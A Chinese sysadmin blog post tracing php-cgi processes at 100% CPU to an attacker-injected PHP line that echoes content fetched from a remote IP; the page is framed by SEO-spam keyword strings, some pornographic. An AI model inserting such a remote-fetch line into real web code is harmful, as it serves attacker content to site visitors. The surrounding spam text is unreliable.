国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 服務器 > Web服務器 > 正文

linux php-cgi.exe占用cpu 100%的一次排障之旅

2024-09-01 13:48:09
字體:
來源:轉載
供稿:網友

先說下我們網站的架構,由于目前網站訪問量不是很大,但是由于最近公司網站要推廣,所以將網站由單機切換成前端用nginx做負載均衡,帶動兩臺web服務器,所有網頁和靜態文件都通過NFS共享調用,NFS服務裝在其中的一個web服務器上,后端用mysql主從的方式,是很典型的架構。

切換成這個架構才2天,就收到nagios的報警,報警信息顯示有一臺web服務器負載很高,于是通過SecureCRT登錄到服務器上,用top命令看了一下,發現有幾個php-cgi進程占用了大量的CPU,如下:

13889 www    25  0 228m 14m 9344 S 100.4 0.1 14:51.22 php-cgi13882 www    25  0 227m 13m 9284 S 100.1 0.1 10:53.18 php-cgi13924 www    25  0 227m 9936 5732 S 100.1 0.1 23:20.80 php-cgi13927 www    25  0 226m 5228 2064 R 100.1 0.0 24:44.24 php-cgi13827 www    25  0 228m 15m 10m R 99.7 0.1 12:57.60 php-cgi13900 www    25  0 228m 19m 13m R 99.7 0.1  9:03.09 php-cgi

由上面的截圖我們可以看出那幾個php-cgi進程不但占用了大量的CPU,而且運行時間非常長,本來php-cgi接到一個請求運行很快的,怎么這幾個運行那么久還沒釋放?于是采用命令ls -l /proc/13827/fd/查看這個長時間的進程到底在干什么事情,結果如下:

lrwx------ 1 www www 64 Dec 11 12:03 0 -> socket:[68444030]l-wx------ 1 www www 64 Dec 11 12:03 1 -> pipe:[68444057]l-wx------ 1 www www 64 Dec 11 12:03 2 -> pipe:[68444058]lrwx------ 1 www www 64 Dec 11 12:03 3 -> socket:[68468225]lrwx------ 1 www www 64 Dec 11 12:03 4 -> socket:[68469788]lrwx------ 1 www www 64 Dec 11 12:03 5 -> socket:[68457928]

看到里面沒有打開文件或者寫入文件,這個進程沒干什么事情,比較奇怪,然后采用strace命令跟蹤下看看這個進程在做什么東西呢?

strace -p 13827poll([{fd=4, events=POLLIN}], 1, 0)   = 0 (Timeout)select(5, [4], [4], [], {15, 0})    = 1 (out [4], left {15, 0})poll([{fd=4, events=POLLIN}], 1, 0)   = 0 (Timeout)select(5, [4], [4], [], {15, 0})    = 1 (out [4], left {15, 0})poll([{fd=4, events=POLLIN}], 1, 0)   = 0 (Timeout)select(5, [4], [4], [], {15, 0})    = 1 (out [4], left {15, 0})poll([{fd=4, events=POLLIN}], 1, 0)   = 0 (Timeout)select(5, [4], [4], [], {15, 0})    = 1 (out [4], left {15, 0})poll([{fd=4, events=POLLIN}], 1, 0)   = 0 (Timeout)select(5, [4], [4], [], {15, 0})    = 1 (out [4], left {15, 0})poll([{fd=4, events=POLLIN}], 1, 0)   = 0 (Timeout)select(5, [4], [4], [], {15, 0})    = 1 (out [4], left {15, 0})poll([{fd=4, events=POLLIN}], 1, 0)   = 0 (Timeout) …….

可以看出,這個進程不斷的超時,到底為何會超時呢???看來需要從php-cgi的日志中查找問題了,由于原來php-fpm.conf配置的超時時間為0,也就是不設置超時時間。于是先將php-fpm.conf的超時時間設置成5s,然后超過5s的php-cgi的請求就會記錄到php的慢日志中,設置如下:

3s
logs/slow.log

設置完成,利用命令/usr/local/php/sbin/php-fpm restart重啟php-fpm,過一會查看slow.log的內容發現很多如下內容:

script_filename = /data/htdocs/bbs.hrloo.com/apl.php
[0x00007fffb060fd70] file_get_contents() /data/htdocs/bbs.hrloo.com/apl.php:10

查看/data/htdocs/bbs.hrloo.com/apl.php第十行的內容如下:

echo file_get_contents('http://121.10.108.227:86/yh.asp');

網上查了一下發現了介紹php這個函數當里面網址響應很慢的時候就會出現CPU占用很高的情況,而且會一直卡住,不會超時,再看看這個鏈接,訪問一下指向到了一個小說網站,是別人攻擊后嵌入的,將這個文件還原后恢復正常。奇怪的是那個安裝NFS的web服務器卻不會出現那個問題,看來是由于本來那個站點又慢,通過NFS調用就更慢了,因此出現了這個故障。感謝這次故障,才發現了這個嚴重的問題。

故障修復了,但是問題還遠遠沒有解決,重點要找到文件是如何被修改的,防止再出現類似的事故。看來下面還有很多事情要忙乎了。呵呵!

 

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 海安县| 监利县| 德化县| 会东县| 武山县| 永修县| 教育| 古蔺县| 资阳市| 合肥市| 古田县| 重庆市| 吴堡县| 务川| 洮南市| 辛集市| 哈密市| 黔西县| 安达市| 盐边县| 平阴县| 法库县| 琼海市| 班戈县| 施秉县| 漳平市| 老河口市| 永清县| 丰台区| 锦州市| 高邑县| 八宿县| 岳阳县| 肇源县| 建阳市| 阜康市| 鄂托克旗| 红河县| 淅川县| 昭觉县| 微博|